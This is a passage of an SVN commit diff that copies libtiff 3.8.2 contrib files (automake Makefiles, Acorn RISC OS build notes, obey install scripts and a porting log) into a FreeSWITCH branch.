+Makefile: $(srcdir)/Makefile.in $(top_builddir)/config.status
+	@case '$?' in \
+	  *config.status*) \
+	    cd $(top_builddir) && $(MAKE) $(AM_MAKEFLAGS) am--refresh;; \
+	  *) \
+	    echo ' cd $(top_builddir) && $(SHELL) ./config.status $(subdir)/$@ $(am__depfiles_maybe)'; \
+	    cd $(top_builddir) && $(SHELL) ./config.status $(subdir)/$@ $(am__depfiles_maybe);; \
+	esac;
+
+$(top_builddir)/config.status: $(top_srcdir)/configure $(CONFIG_STATUS_DEPENDENCIES)
+	cd $(top_builddir) && $(MAKE) $(AM_MAKEFLAGS) am--refresh
+
+$(top_srcdir)/configure: @MAINTAINER_MODE_TRUE@ $(am__configure_deps)
+	cd $(top_builddir) && $(MAKE) $(AM_MAKEFLAGS) am--refresh
+$(ACLOCAL_M4): @MAINTAINER_MODE_TRUE@ $(am__aclocal_m4_deps)
+	cd $(top_builddir) && $(MAKE) $(AM_MAKEFLAGS) am--refresh
+
+mostlyclean-libtool:
+	-rm -f *.lo
+
+clean-libtool:
+	-rm -rf .libs _libs
+
+distclean-libtool:
+	-rm -f libtool
+uninstall-info-am:
+tags: TAGS
+TAGS:
+
+ctags: CTAGS
+CTAGS:
+
+
+distdir: $(DISTFILES)
+	@srcdirstrip=`echo "$(srcdir)" | sed 's|.|.|g'`; \
+	topsrcdirstrip=`echo "$(top_srcdir)" | sed 's|.|.|g'`; \
+	list='$(DISTFILES)'; for file in $$list; do \
+	  case $$file in \
+	    $(srcdir)/*) file=`echo "$$file" | sed "s|^$$srcdirstrip/||"`;; \
+	    $(top_srcdir)/*) file=`echo "$$file" | sed "s|^$$topsrcdirstrip/|$(top_builddir)/|"`;; \
+	  esac; \
+	  if test -f $$file || test -d $$file; then d=.; else d=$(srcdir); fi; \
+	  dir=`echo "$$file" | sed -e 's,/[^/]*$$,,'`; \
+	  if test "$$dir" != "$$file" && test "$$dir" != "."; then \
+	    dir="/$$dir"; \
+	    $(mkdir_p) "$(distdir)$$dir"; \
+	  else \
+	    dir=''; \
+	  fi; \
+	  if test -d $$d/$$file; then \
+	    if test -d $(srcdir)/$$file && test $$d != $(srcdir); then \
+	      cp -pR $(srcdir)/$$file $(distdir)$$dir || exit 1; \
+	    fi; \
+	    cp -pR $$d/$$file $(distdir)$$dir || exit 1; \
+	  else \
+	    test -f $(distdir)/$$file \
+	    || cp -p $$d/$$file $(distdir)/$$file \
+	    || exit 1; \
+	  fi; \
+	done
+check-am: all-am
+check: check-am
+all-am: Makefile
+installdirs:
+install: install-am
+install-exec: install-exec-am
+install-data: install-data-am
+uninstall: uninstall-am
+
+install-am: all-am
+	@$(MAKE) $(AM_MAKEFLAGS) install-exec-am install-data-am
+
+installcheck: installcheck-am
+install-strip:
+	$(MAKE) $(AM_MAKEFLAGS) INSTALL_PROGRAM="$(INSTALL_STRIP_PROGRAM)" \
+	  install_sh_PROGRAM="$(INSTALL_STRIP_PROGRAM)" INSTALL_STRIP_FLAG=-s \
+	  `test -z '$(STRIP)' || \
+	    echo "INSTALL_PROGRAM_ENV=STRIPPROG='$(STRIP)'"` install
+mostlyclean-generic:
+
+clean-generic:
+
+distclean-generic:
+	-test -z "$(CONFIG_CLEAN_FILES)" || rm -f $(CONFIG_CLEAN_FILES)
+
+maintainer-clean-generic:
+	@echo "This command is intended for maintainers to use"
+	@echo "it deletes files that may require special tools to rebuild."
+clean: clean-am
+
+clean-am: clean-generic clean-libtool mostlyclean-am
+
+distclean: distclean-am
+	-rm -f Makefile
+distclean-am: clean-am distclean-generic distclean-libtool
+
+dvi: dvi-am
+
+dvi-am:
+
+html: html-am
+
+info: info-am
+
+info-am:
+
+install-data-am:
+
+install-exec-am:
+
+install-info: install-info-am
+
+install-man:
+
+installcheck-am:
+
+maintainer-clean: maintainer-clean-am
+	-rm -f Makefile
+maintainer-clean-am: distclean-am maintainer-clean-generic
+
+mostlyclean: mostlyclean-am
+
+mostlyclean-am: mostlyclean-generic mostlyclean-libtool
+
+pdf: pdf-am
+
+pdf-am:
+
+ps: ps-am
+
+ps-am:
+
+uninstall-am: uninstall-info-am
+
+.PHONY: all all-am check check-am clean clean-generic clean-libtool \
+	distclean distclean-generic distclean-libtool distdir dvi \
+	dvi-am html html-am info info-am install install-am \
+	install-data install-data-am install-exec install-exec-am \
+	install-info install-info-am install-man install-strip \
+	installcheck installcheck-am installdirs maintainer-clean \
+	maintainer-clean-generic mostlyclean mostlyclean-generic \
+	mostlyclean-libtool pdf pdf-am ps ps-am uninstall uninstall-am \
+	uninstall-info-am
+
+# Tell versions [3.59,3.63) of GNU make to not export all variables.
+# Otherwise a system limit (for SysV at least) may be exceeded.
+.NOEXPORT:

Deleted: freeswitch/branches/seven/libs/tiff-3.8.2/contrib/acorn/ReadMe

Copied: freeswitch/branches/seven/libs/tiff-3.8.2/contrib/acorn/ReadMe (from rev 14471, freeswitch/trunk/libs/tiff-3.8.2/contrib/acorn/ReadMe) (0 => 14472)


--- freeswitch/branches/seven/libs/tiff-3.8.2/contrib/acorn/ReadMe	                        (rev 0)
+++ freeswitch/branches/seven/libs/tiff-3.8.2/contrib/acorn/ReadMe	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,79 @@
+Building the Software on an Acorn RISC OS system
+
+The directory contrib/acorn contains support for compiling the library under
+Acorn C/C++ under Acorn's RISC OS 3.10 or above. Subsequent pathnames will
+use the Acorn format: The full-stop or period character is a pathname
+delimeter, and the slash character is not interpreted; the reverse position
+from Unix. Thus "libtiff/tif_acorn.c" becomes "libtiff.tif_acorn/c".
+
+This support was contributed by Peter Greenham.
+(peterg@angmulti.demon.co.uk).
+
+Installing LibTIFF:
+
+LIBTIFF uses several files which have names longer than the normal RISC OS
+maximum of ten characters. This complicates matters. Maybe one day Acorn will
+address the problem and implement long filenames properly. Until then this
+gets messy, especially as I'm trying to do this with obeyfiles and not have
+to include binaries in this distribution.
+
+First of all, ensure you have Truncate configured on (type *Configure
+Truncate On) Although it is, of course, preferable to have long filenames,
+LIBTIFF can be installed with short filenames, and it will compile and link
+without problems. However, getting it there is more problematic.
+contrib.acorn.install is an installation obeyfile which will create a normal
+Acorn-style library from the source (ie: with c, h and o folders etc.), but
+needs the distribution library to have been unpacked into a location which is
+capable of supporting long filenames, even if only temporarily.
+
+My recommendation, until Acorn address this problem properly, is to use Jason
+Tribbeck's LongFilenames , or any other working system that gives you long
+filenames, like a nearby NFS server for instance.
+
+If you are using Longfilenames, even if only temporarily to install LIBTIFF,
+unpack the TAR into a RAMDisc which has been longfilenamed (ie: *addlongfs
+ram) and then install from there to the hard disk. Unfortunately
+Longfilenames seems a bit unhappy about copying a bunch of long-named files
+across the same filing system, but is happy going between systems. You'll
+need to create a ramdisk of about 2Mb.
+
+Now you can run the installation script I've supplied (in contrib.acorn),
+which will automate the process of installing LIBTIFF as an Acorn-style
+library. The syntax is as follows:
+
+install <source_dir> <dest_dir>
+
+Install will then create <dest_dir> and put the library in there. For
+example, having used LongFilenames on the RAMDisk and unpacked the library
+into there, you can then type:
+
+Obey RAM::RamDisc0.$.contrib.acorn.install RAM::RamDisc0.$ ADFS::4.$.LIBTIFF
+
+It doesn't matter if the destination location can cope with long filenames or
+not. The filenames will be truncated if necessary (*Configure Truncate On if
+you get errors) and all will be well.
+
+Compiling LibTIFF:
+
+Once the LibTIFF folder has been created and the files put inside, making the
+library should be just a matter of running 'SetVars' to set the appropriate
+system variables, then running 'Makefile'.
+
+OSLib
+
+OSLib is a comprehensive API for RISC OS machines, written by Jonathan
+Coxhead of Acorn Computers (although OSLib is not an official Acorn product).
+Using the OSLib SWI veneers produces code which is more compact and more
+efficient than code written using _kernel_swi or _swi. The Acorn port of
+LibTIFF can take advantage of this if present. Edit the Makefile and go to
+the Static dependencies section. The first entry is:
+
+# Static dependencies:
+@.o.tif_acorn:   @.c.tif_acorn
+        cc $(ccflags) -o @.o.tif_acorn @.c.tif_acorn  
+Change the cc line to:
+
+        cc $(ccflags) -DINCLUDE_OSLIB -o @.o.tif_acorn @.c.tif_acorn  
+
+Remember, however, that OSLib is only recommended for efficiency's sake. It
+is not required.

Deleted: freeswitch/branches/seven/libs/tiff-3.8.2/contrib/acorn/SetVars

Copied: freeswitch/branches/seven/libs/tiff-3.8.2/contrib/acorn/SetVars (from rev 14471, freeswitch/trunk/libs/tiff-3.8.2/contrib/acorn/SetVars) (0 => 14472)


--- freeswitch/branches/seven/libs/tiff-3.8.2/contrib/acorn/SetVars	                        (rev 0)
+++ freeswitch/branches/seven/libs/tiff-3.8.2/contrib/acorn/SetVars	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,3 @@
+Set LibTIFF$Dir <Obey$Dir>
+Set LibTIFF$Path <LibTIFF$Dir>.
+Set C$Path <C$Path>,LibTIFF:

Deleted: freeswitch/branches/seven/libs/tiff-3.8.2/contrib/acorn/cleanlib

Copied: freeswitch/branches/seven/libs/tiff-3.8.2/contrib/acorn/cleanlib (from rev 14471, freeswitch/trunk/libs/tiff-3.8.2/contrib/acorn/cleanlib) (0 => 14472)


--- freeswitch/branches/seven/libs/tiff-3.8.2/contrib/acorn/cleanlib	                        (rev 0)
+++ freeswitch/branches/seven/libs/tiff-3.8.2/contrib/acorn/cleanlib	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,5 @@
+IfThere LibTIFF:o.* THEN Wipe LibTIFF:o.* ~CFR~V
+IfThere LibTIFF:c.tif_fax3sm THEN Delete LibTIFF:c.tif_fax3sm
+IfThere LibTIFF:mkg3states THEN Delete LibTIFF:mkg3states
+IfThere LibTIFF:h.version THEN Delete LibTIFF:h.version
+IfThere LibTIFF:mkversion THEN Delete LibTIFF:mkversion

Deleted: freeswitch/branches/seven/libs/tiff-3.8.2/contrib/acorn/convert

Copied: freeswitch/branches/seven/libs/tiff-3.8.2/contrib/acorn/convert (from rev 14471, freeswitch/trunk/libs/tiff-3.8.2/contrib/acorn/convert) (0 => 14472)


--- freeswitch/branches/seven/libs/tiff-3.8.2/contrib/acorn/convert	                        (rev 0)
+++ freeswitch/branches/seven/libs/tiff-3.8.2/contrib/acorn/convert	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,175 @@
+RISC OS Conversion log
+======================
+
+mkversion.c
+~~~~~~~~~~~
+The RISC OS command-line does not allow the direct creation of the version.h
+file in the proper manner. To remedy this in such a way that the version
+header is made at compiletime, I wrote this small program. It is fully
+portable, so should work quite happily for any other platform that might need
+it.
+
+msg3states.c
+~~~~~~~~~~~~
+Needed getopt.c from the port folder, then compiled and worked fine.
+
+
+tiff.h
+~~~~~~
+
+====1====
+
+The symbol _MIPS_SZLONG, if not defined, causes a compiler error. Fixed by
+ensuring it does exist. This looks to me like this wouldn't be an
+Acorn-specific problem. The new code fragment is as follows:
+
+#ifndef _MIPS_SZLONG
+#define _MIPS_SZLONG 32
+#endif
+#if defined(__alpha) || _MIPS_SZLONG == 64
+
+
+
+tiffcomp.h
+~~~~~~~~~~
+
+====1====
+
+#if !defined(__MWERKS__) && !defined(THINK_C)
+#include <sys/types.h>
+#endif
+
+Acorn also doesn't have this header so:
+
+#if !defined(__MWERKS__) && !defined(THINK_C) && !defined(__acorn)
+#include <sys/types.h>
+#endif
+
+====2====
+
+#ifdef VMS
+#include <file.h>
+#include <unixio.h>
+#else
+#include <fcntl.h>
+#endif
+
+This seems to indicate that fcntl.h is included on all systems except
+VMS. Odd, because I've never heard of it before. Sure it's in the ANSI
+definition? Anyway, following change:
+
+#ifdef VMS
+#include <file.h>
+#include <unixio.h>
+#else
+#ifndef __acorn
+#include <fcntl.h>
+#endif
+#endif
+
+This will probably change when I find out what it wants from fcntl.h!
+
+====3====
+
+#if defined(__MWERKS__) || defined(THINK_C) || defined(applec)
+#include <stdlib.h>
+#define	BSDTYPES
+#endif
+
+Added RISC OS to above thus:
+
+#if defined(__MWERKS__) || defined(THINK_C) || defined(applec) || defined(__acorn)
+#include <stdlib.h>
+#define	BSDTYPES
+#endif
+
+====4====
+
+/*
+ * The library uses the ANSI C/POSIX SEEK_*
+ * definitions that should be defined in unistd.h
+ * (except on VMS where they are in stdio.h and
+ * there is no unistd.h).
+ */
+#ifndef SEEK_SET
+#if !defined(VMS) && !defined (applec) && !defined(THINK_C) && !defined(__MWERKS__)
+#include <unistd.h>
+#endif
+
+RISC OS is like VMS and Mac in this regard. So changed to:
+
+/*
+ * The library uses the ANSI C/POSIX SEEK_*
+ * definitions that should be defined in unistd.h
+ * (except on VMS or the Mac or RISC OS, where they are in stdio.h and
+ * there is no unistd.h).
+ */
+#ifndef SEEK_SET
+#if !defined(VMS) && !defined (applec) && !defined(THINK_C) && !defined(__MWERKS__) && !defined(__acorn)
+#include <unistd.h>
+#endif
+#endif
+
+====5====
+
+NB: HAVE_IEEEFP is defined in tiffconf.h, not tiffcomp.h as mentioned
+in libtiff.README. (Note written on original port from 3.4beta004)
+
+Acorn C/C++ claims to accord with IEEE 754, so no change (yet) to
+tiffconf.h.
+
+====6====
+
+Unsure about whether this compiler supports inline functions. Will
+leave it on for the time being and see if it works! (Likely if
+everything else does.)
+
+... Seems to be OK ...
+
+====7====
+
+Added to the end:
+
+/*
+ * osfcn.h is part of C++Lib on Acorn C/C++, and as such can't be used
+ * on C alone. For that reason, the relevant functions have been
+ * implemented by myself in tif_acorn.c, and the elements from the header
+ * included here.
+ */
+
+#ifdef __acorn
+#ifdef __cplusplus
+#include <osfcn.h>
+#else
+#include "kernel.h"
+#define	O_RDONLY	0
+#define	O_WRONLY	1
+#define	O_RDWR		2
+#define	O_APPEND	8
+#define	O_CREAT		0x200
+#define	O_TRUNC		0x400
+typedef long off_t;
+extern int open(const char *name, int flags, int mode);
+extern int close(int fd);
+extern int write(int fd, const char *buf, int nbytes);
+extern int read(int fd, char *buf, int nbytes);
+extern off_t lseek(int fd, off_t offset, int whence);
+#endif
+#endif
+
+
+===============================================================================
+
+tif_acorn.c
+~~~~~~~~~~~
+
+Created file tif_acorn.c, copied initially from tif_unix.c
+
+Documented internally where necessary.
+
+Note that I have implemented the low-level file-handling functions normally
+found in osfcn.h in here, and put the header info at the bottom of
+tiffcomp.h. This is further documented from a RISC OS perspective inside the
+file.
+
+===============================================================================

Deleted: freeswitch/branches/seven/libs/tiff-3.8.2/contrib/acorn/install

Copied: freeswitch/branches/seven/libs/tiff-3.8.2/contrib/acorn/install (from rev 14471, freeswitch/trunk/libs/tiff-3.8.2/contrib/acorn/install) (0 => 14472)


--- freeswitch/branches/seven/libs/tiff-3.8.2/contrib/acorn/install	                        (rev 0)
+++ freeswitch/branches/seven/libs/tiff-3.8.2/contrib/acorn/install	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,128 @@
+If "%0" = "" Then Error Syntax: install |<source_dir> |<dest_dir>
+If "%1" = "" Then Error Syntax: install |<source_dir> |<dest_dir>
+Set LibTiffInstall$Dir %0
+Set LibTiff$Dir %1
+Set Alias$CPY Copy <LibTiffInstall$Dir>.%%0 <LibTiff$Dir>.%%1 ~C~DF~NRV
+CDir <LibTiff$Dir>
+CDir <LibTiff$Dir>.c
+CDir <LibTiff$Dir>.h
+CDir <LibTiff$Dir>.o
+CPY COPYRIGHT			COPYRIGHT
+CPY README			README
+CPY VERSION			VERSION
+CPY dist.tiff/alpha             tiff/alpha
+CPY contrib.acorn.SetVars	SetVars
+CPY contrib.acorn.Makefile	Makefile
+CPY contrib.acorn.cleanlib      cleanlib
+CPY port.getopt/c		c.getopt
+CPY libtiff.mkg3states/c	c.mkg3states
+CPY libtiff.mkspans/c		c.mkspans
+CPY libtiff.mkversion/c		c.mkversion
+CPY libtiff.tif_acorn/c		c.tif_acorn
+CPY libtiff.tif_aux/c		c.tif_aux
+CPY libtiff.tif_close/c		c.tif_close
+CPY libtiff.tif_codec/c		c.tif_codec
+CPY libtiff.tif_compress/c	c.tif_compre
+CPY libtiff.tif_dir/c		c.tif_dir
+CPY libtiff.tif_dirinfo/c	c.tif_dirinf
+CPY libtiff.tif_dirread/c	c.tif_dirrea
+CPY libtiff.tif_dirwrite/c	c.tif_dirwri
+CPY libtiff.tif_dumpmode/c	c.tif_dumpmo
+CPY libtiff.tif_error/c		c.tif_error
+CPY libtiff.tif_fax3/c		c.tif_fax3
+CPY libtiff.tif_flush/c		c.tif_flush
+CPY libtiff.tif_getimage/c	c.tif_getima
+CPY libtiff.tif_jpeg/c		c.tif_jpeg
+CPY libtiff.tif_lzw/c		c.tif_lzw
+CPY libtiff.tif_next/c		c.tif_next
+CPY libtiff.tif_open/c		c.tif_open
+CPY libtiff.tif_packbits/c	c.tif_packbi
+CPY libtiff.tif_predict/c	c.tif_predic
+CPY libtiff.tif_print/c		c.tif_print
+CPY libtiff.tif_read/c		c.tif_read
+CPY libtiff.tif_strip/c		c.tif_strip
+CPY libtiff.tif_swab/c		c.tif_swab
+CPY libtiff.tif_thunder/c	c.tif_thunde
+CPY libtiff.tif_tile/c		c.tif_tile
+CPY libtiff.tif_version/c	c.tif_versio
+CPY libtiff.tif_warning/c	c.tif_warnin
+CPY libtiff.tif_write/c		c.tif_write
+CPY libtiff.tif_zip/c		c.tif_zip
+CPY libtiff.t4/h		h.t4
+CPY libtiff.tiff/h		h.tiff
+CPY libtiff.tiffcomp/h		h.tiffcomp
+CPY libtiff.tiffconf/h		h.tiffconf
+CPY libtiff.tiffio/h		h.tiffio
+CPY libtiff.tiffiop/h		h.tiffiop
+CPY libtiff.tif_dir/h		h.tif_dir
+CPY libtiff.tif_fax3/h		h.tif_fax3
+CPY libtiff.tif_predict/h	h.tif_predic
+SetType <LibTiff$Dir>.COPYRIGHT		Text
+SetType <LibTiff$Dir>.README		Text
+SetType <LibTiff$Dir>.VERSION		Text
+SetType <LibTiff$Dir>.tiff/alpha        Text
+SetType <LibTiff$Dir>.SetVars		Obey
+SetType <LibTiff$Dir>.Makefile		fe1
+SetType <LibTiff$Dir>.cleanlib          Obey
+SetType <LibTiff$Dir>.c.getopt		Text
+SetType <LibTiff$Dir>.c.mkg3states	Text
+SetType <LibTiff$Dir>.c.mkspans		Text
+SetType <LibTiff$Dir>.c.mkversion	Text
+SetType <LibTiff$Dir>.c.tif_acorn	Text
+SetType <LibTiff$Dir>.c.tif_aux		Text
+SetType <LibTiff$Dir>.c.tif_close	Text
+SetType <LibTiff$Dir>.c.tif_codec	Text
+SetType <LibTiff$Dir>.c.tif_compre	Text
+SetType <LibTiff$Dir>.c.tif_dir		Text
+SetType <LibTiff$Dir>.c.tif_dirinf	Text
+SetType <LibTiff$Dir>.c.tif_dirrea	Text
+SetType <LibTiff$Dir>.c.tif_dirwri	Text
+SetType <LibTiff$Dir>.c.tif_dumpmo	Text
+SetType <LibTiff$Dir>.c.tif_error	Text
+SetType <LibTiff$Dir>.c.tif_fax3	Text
+SetType <LibTiff$Dir>.c.tif_flush	Text
+SetType <LibTiff$Dir>.c.tif_getima	Text
+SetType <LibTiff$Dir>.c.tif_jpeg	Text
+SetType <LibTiff$Dir>.c.tif_lzw		Text
+SetType <LibTiff$Dir>.c.tif_next	Text
+SetType <LibTiff$Dir>.c.tif_open	Text
+SetType <LibTiff$Dir>.c.tif_packbi	Text
+SetType <LibTiff$Dir>.c.tif_predic	Text
+SetType <LibTiff$Dir>.c.tif_print	Text
+SetType <LibTiff$Dir>.c.tif_read	Text
+SetType <LibTiff$Dir>.c.tif_strip	Text
+SetType <LibTiff$Dir>.c.tif_swab	Text
+SetType <LibTiff$Dir>.c.tif_thunde	Text
+SetType <LibTiff$Dir>.c.tif_tile	Text
+SetType <LibTiff$Dir>.c.tif_versio	Text
+SetType <LibTiff$Dir>.c.tif_warnin	Text
+SetType <LibTiff$Dir>.c.tif_write	Text
+SetType <LibTiff$Dir>.c.tif_zip		Text
+SetType <LibTiff$Dir>.h.t4		Text
+SetType <LibTiff$Dir>.h.tiff		Text
+SetType <LibTiff$Dir>.h.tiffcomp	Text
+SetType <LibTiff$Dir>.h.tiffconf	Text
+SetType <LibTiff$Dir>.h.tiffio		Text
+SetType <LibTiff$Dir>.h.tiffiop		Text
+SetType <LibTiff$Dir>.h.tif_dir		Text
+SetType <LibTiff$Dir>.h.tif_fax3	Text
+SetType <LibTiff$Dir>.h.tif_predic	Text
+Unset Alias$CPY
+Unset LibTiffInstall$Dir
+| Now attempt to restore longfilename status. If it causes an error, OK.
+Set Alias$RN Rename <LibTiff$Dir>.%%0 <LibTiff$Dir>.%%1
+Unset LibTiff$Dir
+RN c.tif_compre c.tif_compress
+RN c.tif_dirinf c.tif_dirinfo
+RN c.tif_dirrea c.tif_dirread
+RN c.tif_dirwri c.tif_dirwrite
+RN c.tif_dumpmo c.tif_dumpmode
+RN c.tif_getima c.tif_getimage
+RN c.tif_packbi c.tif_packbits
+RN c.tif_predic c.tif_predict
+RN c.tif_thunde c.tif_thunder
+RN c.tif_versio c.tif_version
+RN c.tif_warnin c.tif_warning
+RN h.tif_predic h.tif_predict
+Unset Alias$RN
+Echo All done!

Copied: freeswitch/branches/seven/libs/tiff-3.8.2/contrib/addtiffo (from rev 14471, freeswitch/trunk/libs/tiff-3.8.2/contrib/addtiffo)

Property changes: freeswitch/branches/seven/libs/tiff-3.8.2/contrib/addtiffo


Name: svn:ignore
   + .deps
Makefile

Deleted: freeswitch/branches/seven/libs/tiff-3.8.2/contrib/addtiffo/Makefile.am

Copied: freeswitch/branches/seven/libs/tiff-3.8.2/contrib/addtiffo/Makefile.am (from rev 14471, freeswitch/trunk/libs/tiff-3.8.2/contrib/addtiffo/Makefile.am) (0 => 14472)


--- freeswitch/branches/seven/libs/tiff-3.8.2/contrib/addtiffo/Makefile.am	                        (rev 0)
+++ freeswitch/branches/seven/libs/tiff-3.8.2/contrib/addtiffo/Makefile.am	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,36 @@
+# Tag Image File Format (TIFF) Software
+#
+# Copyright (C) 2004, Andrey Kiselev <dron@ak4719.spb.edu>
+#
+# Permission to use, copy, modify, distribute, and sell this software and 
+# its documentation for any purpose is hereby granted without fee, provided
+# that (i) the above copyright notices and this permission notice appear in
+# all copies of the software and related documentation, and (ii) the names of
+# Sam Leffler and Silicon Graphics may not be used in any advertising or
+# publicity relating to the software without the specific, prior written
+# permission of Sam Leffler and Silicon Graphics.
+# 
+# THE SOFTWARE IS PROVIDED "AS-IS" AND WITHOUT WARRANTY OF ANY KIND, 
+# EXPRESS, IMPLIED OR OTHERWISE, INCLUDING WITHOUT LIMITATION, ANY 
+# WARRANTY OF MERCHANTABILITY OR FITNESS FOR A PARTICULAR PURPOSE.  
+# 
+# IN NO EVENT SHALL SAM LEFFLER OR SILICON GRAPHICS BE LIABLE FOR
+# ANY SPECIAL, INCIDENTAL, INDIRECT OR CONSEQUENTIAL DAMAGES OF ANY KIND,
+# OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS,
+# WHETHER OR NOT ADVISED OF THE POSSIBILITY OF DAMAGE, AND ON ANY THEORY OF 
+# LIABILITY, ARISING OUT OF OR IN CONNECTION WITH THE USE OR PERFORMANCE 
+# OF THIS SOFTWARE.
+
+# Process this file with automake to produce Makefile.in.
+
+LIBTIFF = $(top_builddir)/libtiff/libtiff.la
+
+EXTRA_DIST = README Makefile.vc
+
+noinst_PROGRAMS = addtiffo
+
+addtiffo_SOURCES = addtiffo.c tif_overview.c tif_ovrcache.c tif_ovrcache.h
+addtiffo_LDADD = $(LIBTIFF)
+
+INCLUDES = -I$(top_srcdir)/libtiff
+

Deleted: freeswitch/branches/seven/libs/tiff-3.8.2/contrib/addtiffo/Makefile.in

Copied: freeswitch/branches/seven/libs/tiff-3.8.2/contrib/addtiffo/Makefile.in (from rev 14471, freeswitch/trunk/libs/tiff-3.8.2/contrib/addtiffo/Makefile.in) (0 => 14472)


--- freeswitch/branches/seven/libs/tiff-3.8.2/contrib/addtiffo/Makefile.in	                        (rev 0)
+++ freeswitch/branches/seven/libs/tiff-3.8.2/contrib/addtiffo/Makefile.in	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,501 @@
+# Makefile.in generated by automake 1.9.6 from Makefile.am.
+# @configure_input@
+
+# Copyright (C) 1994, 1995, 1996, 1997, 1998, 1999, 2000, 2001, 2002,
+# 2003, 2004, 2005  Free Software Foundation, Inc.
+# This Makefile.in is free software; the Free Software Foundation
+# gives unlimited permission to copy and/or distribute it,
+# with or without modifications, as long as this notice is preserved.
+
+# This program is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY, to the extent permitted by law; without
+# even the implied warranty of MERCHANTABILITY or FITNESS FOR A
+# PARTICULAR PURPOSE.
+
+@SET_MAKE@
+
+# Tag Image File Format (TIFF) Software
+#
+# Copyright (C) 2004, Andrey Kiselev <dron@ak4719.spb.edu>
+#
+# Permission to use, copy, modify, distribute, and sell this software and 
+# its documentation for any purpose is hereby granted without fee, provided
+# that (i) the above copyright notices and this permission notice appear in
+# all copies of the software and related documentation, and (ii) the names of
+# Sam Leffler and Silicon Graphics may not be used in any advertising or
+# publicity relating to the software without the specific, prior written
+# permission of Sam Leffler and Silicon Graphics.
+# 
+# THE SOFTWARE IS PROVIDED "AS-IS" AND WITHOUT WARRANTY OF ANY KIND, 
+# EXPRESS, IMPLIED OR OTHERWISE, INCLUDING WITHOUT LIMITATION, ANY 
+# WARRANTY OF MERCHANTABILITY OR FITNESS FOR A PARTICULAR PURPOSE.  
+# 
+# IN NO EVENT SHALL SAM LEFFLER OR SILICON GRAPHICS BE LIABLE FOR
+# ANY SPECIAL, INCIDENTAL, INDIRECT OR CONSEQUENTIAL DAMAGES OF ANY KIND,
+# OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS,
+# WHETHER OR NOT ADVISED OF THE POSSIBILITY OF DAMAGE, AND ON ANY THEORY OF 
+# LIABILITY, ARISING OUT OF OR IN CONNECTION WITH THE USE OR PERFORMANCE 
+# OF THIS SOFTWARE.
+
+# Process this file with automake to produce Makefile.in.
+
+srcdir = @srcdir@
+top_srcdir = @top_srcdir@
+VPATH = @srcdir@
+pkgdatadir = $(datadir)/@PACKAGE@
+pkglibdir = $(libdir)/@PACKAGE@
+pkgincludedir = $(includedir)/@PACKAGE@
+top_builddir = ../..
+am__cd = CDPATH="$${ZSH_VERSION+.}$(PATH_SEPARATOR)" && cd
+INSTALL = @INSTALL@
+install_sh_DATA = $(install_sh) -c -m 644
+install_sh_PROGRAM = $(install_sh) -c
+install_sh_SCRIPT = $(install_sh) -c
+INSTALL_HEADER = $(INSTALL_DATA)
+transform = $(program_transform_name)
+NORMAL_INSTALL = :
+PRE_INSTALL = :
+POST_INSTALL = :
+NORMAL_UNINSTALL = :
+PRE_UNINSTALL = :
+POST_UNINSTALL = :
+build_triplet = @build@
+host_triplet = @host@
+target_triplet = @target@
+noinst_PROGRAMS = addtiffo$(EXEEXT)
+subdir = contrib/addtiffo
+DIST_COMMON = README $(srcdir)/Makefile.am $(srcdir)/Makefile.in
+ACLOCAL_M4 = $(top_srcdir)/aclocal.m4
+am__aclocal_m4_deps = $(top_srcdir)/m4/acinclude.m4 \
+	$(top_srcdir)/m4/libtool.m4 $(top_srcdir)/m4/ltoptions.m4 \
+	$(top_srcdir)/m4/ltsugar.m4 $(top_srcdir)/m4/ltversion.m4 \
+	$(top_srcdir)/configure.ac
+am__configure_deps = $(am__aclocal_m4_deps) $(CONFIGURE_DEPENDENCIES) \
+	$(ACLOCAL_M4)
+mkinstalldirs = $(SHELL) $(top_srcdir)/config/mkinstalldirs
+CONFIG_HEADER = $(top_builddir)/libtiff/tif_config.h \
+	$(top_builddir)/libtiff/tiffconf.h
+CONFIG_CLEAN_FILES =
+PROGRAMS = $(noinst_PROGRAMS)
+am_addtiffo_OBJECTS = addtiffo.$(OBJEXT) tif_overview.$(OBJEXT) \
+	tif_ovrcache.$(OBJEXT)
+addtiffo_OBJECTS = $(am_addtiffo_OBJECTS)
+am__DEPENDENCIES_1 = $(top_builddir)/libtiff/libtiff.la
+addtiffo_DEPENDENCIES = $(am__DEPENDENCIES_1)
+DEFAULT_INCLUDES = -I. -I$(srcdir) -I$(top_builddir)/libtiff -I$(top_builddir)/libtiff
+depcomp = $(SHELL) $(top_srcdir)/config/depcomp
+am__depfiles_maybe = depfiles
+COMPILE = $(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(AM_CPPFLAGS) \
+	$(CPPFLAGS) $(AM_CFLAGS) $(CFLAGS)
+LTCOMPILE = $(LIBTOOL) --tag=CC --mode=compile $(CC) $(DEFS) \
+	$(DEFAULT_INCLUDES) $(INCLUDES) $(AM_CPPFLAGS) $(CPPFLAGS) \
+	$(AM_CFLAGS) $(CFLAGS)
+CCLD = $(CC)
+LINK = $(LIBTOOL) --tag=CC --mode=link $(CCLD) $(AM_CFLAGS) $(CFLAGS) \
+	$(AM_LDFLAGS) $(LDFLAGS) -o $@
+SOURCES = $(addtiffo_SOURCES)
+DIST_SOURCES = $(addtiffo_SOURCES)
+ETAGS = etags
+CTAGS = ctags
+DISTFILES = $(DIST_COMMON) $(DIST_SOURCES) $(TEXINFOS) $(EXTRA_DIST)
+ACLOCAL = @ACLOCAL@
+AMDEP_FALSE = @AMDEP_FALSE@
+AMDEP_TRUE = @AMDEP_TRUE@
+AMTAR = @AMTAR@
+AR = @AR@
+AS = @AS@
+AUTOCONF = @AUTOCONF@
+AUTOHEADER = @AUTOHEADER@
+AUTOMAKE = @AUTOMAKE@
+AWK = @AWK@
+CC = @CC@
+CCDEPMODE = @CCDEPMODE@
+CFLAGS = @CFLAGS@
+CPP = @CPP@
+CPPFLAGS = @CPPFLAGS@
+CXX = @CXX@
